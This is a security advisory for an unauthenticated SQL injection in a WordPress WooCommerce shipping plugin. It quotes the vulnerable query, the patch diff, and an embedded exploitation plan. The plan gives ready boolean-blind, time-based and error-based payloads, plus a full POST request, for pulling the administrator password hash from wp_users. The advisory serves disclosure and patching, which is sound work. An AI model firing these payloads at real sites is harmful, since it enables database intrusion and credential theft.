Cargo Shipping Location for WooCommerce <= 5.6 - Unauthenticated SQL Injection
Description
The Cargo Shipping Location for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.6What Changed in the Fix
Changes introduced in v5.7
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-54815 ## 1. Vulnerability Summary The **Cargo Shipping Location for WooCommerce** plugin (versions <= 5.6) contains an unauthenticated SQL injection vulnerability. The issue exists within the REST API endpoint used for cargo status updates. The plugin fails t…
Show full research plan
Exploitation Research Plan - CVE-2026-54815
1. Vulnerability Summary
The Cargo Shipping Location for WooCommerce plugin (versions <= 5.6) contains an unauthenticated SQL injection vulnerability. The issue exists within the REST API endpoint used for cargo status updates. The plugin fails to sanitize or prepare the shipment_id parameter before including it in a raw SQL query via $wpdb->get_results(). Because the endpoint's permission_callback is hardcoded to return true, any unauthenticated user can trigger the injection.
2. Attack Vector Analysis
- Endpoint:
/wp-json/cargo-shipping-location-for-woocommerce/v1/update-status/ - HTTP Method:
POST - Vulnerable Parameter:
shipment_id(passed in the JSON or POST body) - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active. For Boolean-based extraction, at least one WooCommerce order must exist with the
cslfw_shippingmeta key populated (created when a shipment is generated).
3. Code Flow
- Entry Point: The plugin registers a REST route in
includes/CargoApi/Webhook.php:- Hook:
rest_api_init - Route:
cargo-shipping-location-for-woocommerce/v1/update-status/ - Permission Callback:
cargo_update_shipment_status_permission(returnstrue).
- Hook:
- Callback Execution: The request is handled by
cargo_update_shipment_status($request). - Data Acquisition: The function retrieves parameters via
$request->get_params(). - Sink:
- The code checks if WooCommerce HPOS (High-Performance Order Storage) is enabled to determine the table name (
wc_orders_metavspostmeta). - It then executes a raw SQL query:
$orders = $wpdb->get_results( " SELECT * FROM {$wpdb->prefix}{$tableName} WHERE meta_key = 'cslfw_shipping' AND meta_value LIKE '%{$data['shipment_id']}%' " ); - Vulnerability: The value of
{$data['shipment_id']}is interpolated directly into the query string without using$wpdb->prepare().
- The code checks if WooCommerce HPOS (High-Performance Order Storage) is enabled to determine the table name (
4. Nonce Acquisition Strategy
This vulnerability resides in a REST API endpoint intended for external webhooks.
- Nonce Requirement: Based on the source code in
includes/CargoApi/Webhook.php, thepermission_callbackfor the/update-status/route returnstrueand does not perform any nonce or capability checks. - Conclusion: No nonce is required for this exploit.
5. Exploitation Strategy
The exploitation will use Boolean-based Blind SQL Injection. The response from the server indicates whether the query returned results:
- Success (True):
{"success": true, "message": "Database updated successfully", ...} - Failure (False):
{"success": false, "message": "Failed to update database", ...}
Step-by-Step Plan:
- Baseline Test: Send a request with a
shipment_idthat is known to exist in a shipment meta (e.g.,123). - Injection Test (True): Inject a condition that is always true.
- Payload:
123%' AND 1=1 AND '%'=' - Expected:
success: true
- Payload:
- Injection Test (False): Inject a condition that is always false.
- Payload:
123%' AND 1=0 AND '%'=' - Expected:
success: false
- Payload:
- Data Extraction: Use the boolean response to exfiltrate the administrator's password hash from the
wp_userstable.
Primary Exploit Request:
- URL:
http://<target>/wp-json/cargo-shipping-location-for-woocommerce/v1/update-status/ - Method:
POST - Headers:
Content-Type: application/json - Body:
{ "shipment_id": "123%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '%'='", "new_status_code": "3", "new_status": "Delivered" }
6. Test Data Setup
To ensure the meta_value LIKE query returns a result initially, we must create a test shipment entry in the database.
- Create Order: Use WP-CLI to create a WooCommerce order.
wp eval "wc_create_order();"
- Add Shipment Meta: Add the expected meta key and value to the order.
wp post meta add <ORDER_ID> cslfw_shipping '{"123": {"status": "pending"}}' --format=json(Note: the plugin expects a serialized array or JSON string in this meta field).
7. Expected Results
- A successful "True" condition will return a JSON response with
"success": true. - A successful "False" condition will return a JSON response with
"success": false. - If
WP_DEBUGis enabled, an invalid SQL syntax payload (e.g.,shipment_id=123') will cause the database error to be logged or potentially displayed.
8. Verification Steps
After performing the HTTP-based injection, verify the ability to leak data:
- Use the
http_requesttool to check if the first character of the admin password hash is$:- Payload:
123%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND SUBSTRING(user_pass,1,1)='$') AND '%'='
- Payload:
- Check the response for
"success": true.
9. Alternative Approaches
- Time-based Blind: If the
cslfw_shippingmeta is not easily guessable, use a sleep-based payload.- Payload:
x' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR 'x'='y
- Payload:
- Error-based Injection: If the site displays SQL errors, use
updatexml()orextractvalue().- Payload:
123' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND '1'='1
- Payload:
Summary
The Cargo Shipping Location for WooCommerce plugin (versions <= 5.6) is vulnerable to unauthenticated SQL Injection via the 'shipment_id' parameter. The plugin directly interpolates user input into a database query within a REST API endpoint that lacks proper authentication, allowing attackers to extract sensitive information from the WordPress database.
Vulnerable Code
// includes/CargoApi/Webhook.php:89 $orders = $wpdb->get_results( " SELECT * FROM {$wpdb->prefix}{$tableName} WHERE meta_key = 'cslfw_shipping' AND meta_value LIKE '%{$data['shipment_id']}%' " );
Security Fix
@@ -2,6 +2,7 @@ namespace CSLFW\Includes\CargoAPI; use CSLFW\Includes\CSLFW_Helpers; +if ( ! defined( 'ABSPATH' ) ) exit; class Webhook { @@ -54,8 +55,51 @@ public function cargo_update_shipment_status_permission($request) { + $allowed_domains = [ + 'api-v2.cargo.co.il', + 'dashboard.cargo.co.il', + ]; + + $cargo_domain = sanitize_text_field( $request->get_header( 'Http-Cargo-Domain' ) ); + + if ( empty( $cargo_domain ) ) { + return new \WP_Error( + 'rest_forbidden', + __( 'Missing Cargo domain header.', 'cargo-shipping-location-for-woocommerce' ), + [ 'status' => 401 ] + ); + } + + $cargo_domain = preg_replace( '/^https?:\/\//', '', $cargo_domain ); + $cargo_domain = trim( $cargo_domain, '/' ); + $cargo_domain = preg_replace( '/^www\./', '', $cargo_domain ); + $cargo_domain = strtolower( parse_url( 'https://' . $cargo_domain, PHP_URL_HOST ) ); + + if ( ! in_array( $cargo_domain, $allowed_domains, true ) ) { + return new \WP_Error( + 'rest_forbidden', + __( 'Domain not allowed.', 'cargo-shipping-location-for-woocommerce' ), + [ 'status' => 403 ] + ); + } + + return true; } @@ -79,12 +123,20 @@ $tableName = 'postmeta'; $orderIdField = 'post_id'; } + $table = $wpdb->prefix . $tableName; + $like = '%' . $wpdb->esc_like($data['shipment_id']) . '%'; + $orders = $wpdb->get_results( - " - SELECT * - FROM {$wpdb->prefix}{$tableName} - WHERE meta_key = 'cslfw_shipping' AND meta_value LIKE '%{$data['shipment_id']}%' - " + $wpdb->prepare( + " + SELECT * + FROM {$table} + WHERE meta_key = %s + AND meta_value LIKE %s + ", + 'cslfw_shipping', + $like + ) );
Exploit Outline
The vulnerability is exploited by sending a POST request to the `/wp-json/cargo-shipping-location-for-woocommerce/v1/update-status/` endpoint. No authentication is required because the `permission_callback` for this route is hardcoded to return `true` in versions <= 5.6. An attacker provides a payload in the `shipment_id` parameter of the JSON body that uses a single quote (`'`) to break out of the SQL `LIKE` clause. By appending Boolean logic (e.g., `AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_pass LIKE '$%')`), the attacker can determine if the condition is true or false based on the server's response (`success: true` vs `success: false`). This allows for the iterative extraction of database content, such as administrator password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.